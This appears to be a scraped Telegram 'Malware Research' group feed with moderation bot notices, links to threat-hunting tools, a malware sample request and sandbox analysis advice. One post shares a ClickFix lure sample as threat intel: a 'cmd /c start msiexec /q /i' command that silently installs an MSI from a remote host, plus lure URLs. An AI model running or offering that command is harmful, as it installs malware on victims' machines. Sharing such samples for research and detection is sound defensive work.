Malware Research

22 August 2025 05:52

User 得到 has 1/3 warnings; be careful!
Reason:
stay on topic

Malware Research

20 August 2025 13:34

/fban @too_bobotie

Malware Research

19 August 2025 10:08

Here is the video showing how Garuda can perform AI powered threat hunting when integrated with LLMs:
https://youtu.be/Sk_c5w1CEiY

Malware Research

19 August 2025 08:46

https://github.com/vxunderground/MalwareSourceCode/tree/main/Android/Android.Ermac.3

Malware Research

19 August 2025 04:14

May I ask to download this file from VT? Thanks a lot
https://www.virustotal.com/gui/file/175d4adc5fc0b0d8eb4b7d93b6f9694e4a3089e4ed4c59a2828d0667a9992aaa/detection

Malware Research

18 August 2025 14:50

the code that will download the first zipped file

Malware Research

18 August 2025 14:48

seems like the final downloads not available

2 zipped files

Malware Research

18 August 2025 14:27

New FedBan
Fed: Libra's Empire
FedAdmin: alex 27
User: Crypto Rex
User ID: 7864280650
Reason: spam

Malware Research

18 August 2025 08:12

https://www.microsoft.com/en-us/research/blog/project-ire-autonomously-identifies-malware-at-scale/

Project Ire, automates what is considered the gold standard in malware classification: fully reverse engineering a software file without any clues about its origin or purpose. It uses decompilers and other tools, reviews their output, and determines whether the software is malicious or benign

Malware Research

17 August 2025 20:26

REMnux is a good distro btw

Malware Research

17 August 2025 14:39

User ~❤️ has 1/3 warnings; be careful!
Reason:
stay on topic

Malware Research

15 August 2025 23:06

Any recommendation on how to analyze a windows malware detected and I want to analyze its behavior

Thanks

Malware Research

15 August 2025 22:44

So does it automatically assume any pdf with qr in it as phishing?

Malware Research

15 August 2025 22:42

Have to test ms defender against qishing

Malware Research

15 August 2025 22:41

Yeah. Quite unlike almost a decade or two ago...

Malware Research

20 August 2025 13:34

New FedBan
Fed: Libra's Empire
FedAdmin: alex 27
User: Beatriz Arcos
User ID: 7357787293
Reason: None given.

Malware Research

20 August 2025 11:51

New FedBan
Fed: Libra's Empire
FedAdmin: alex 27
User: Olympia Miller
User ID: 8233018498
Reason: smap

Malware Research

19 August 2025 09:59

I’m excited to share that At DEF CON, I released the Garuda Threat Hunting Framework — a tool designed to empower defenders with manual threat hunting and detection capabilities.

Explore the framework: https://github.com/monnappa22/Garuda-framework

In case you missed it: Garuda can also be integrated with LLMs to perform AI-powered autonomous threat hunting.

Watch the demo here: https://youtu.be/Sk_c5w1CEiY

Malware Research

19 August 2025 08:43

Is this the source of emarc ? If so, it is on vx underground

Malware Research

18 August 2025 14:50

oh well. same problem

Malware Research

18 August 2025 14:49

yes
sometimes country ip and other factors restrictions (usaully redireted to google.com)

Malware Research

18 August 2025 14:27

User Александр has 1/3 warnings; be careful!
Reason:
read rules

Malware Research

18 August 2025 13:56

Click Fix samples via telegram mini apps ( fake safeguard )

sample:

/channel/OxAA_Science_tg/4

cmd /c start msiexec /q /i https://b9w2.top/safeguard.msi & rem [✓] Alternate Verification Telegramㅤㅤㅤㅤㅤㅤㅤㅤㅤㅤㅤㅤㅤㅤㅤㅤㅤ

https://o5e.pages.dev/?g=1298
https://o5e.pages.dev/?g=981

Malware Research

17 August 2025 23:47

Thanks folks I used hybrid analysis as I was in rush for more context but I will discover those options

Malware Research

17 August 2025 16:14

New FedBan
Fed: Libra's Empire
FedAdmin: alex 27
User: 𝙂⚡𝙧𝙤 𝙂𝙝𝙤𝙨𝙩
User ID: 5342471938
Reason: spam

Malware Research

17 August 2025 07:45

Get a VM. Install monitoring and analysis tools (procmon, procexplorer, autoruns, wireshark, rootkit unhooker - or any alternatives of your choice). Account for antisandbox/antidebug as well as the execution chain and detonate the payload. You should see the behaviour in monitoring tools. You might also want to take a memory dump of the system or specific proccesses.

Malware Research

15 August 2025 22:44

But the ones it caught, are really phishing

Malware Research

15 August 2025 22:43

It floods the SIEM with so many cases after it auto zaps them 😏

Malware Research

15 August 2025 22:42

Speaking of which, after MS disabled macros by default, there are hardly any Office documents to analyze

Malware Research

15 August 2025 22:40

MS Defender is surprisingly good at detecting the former that I don't have to do anything. I feel my job is at risk 👀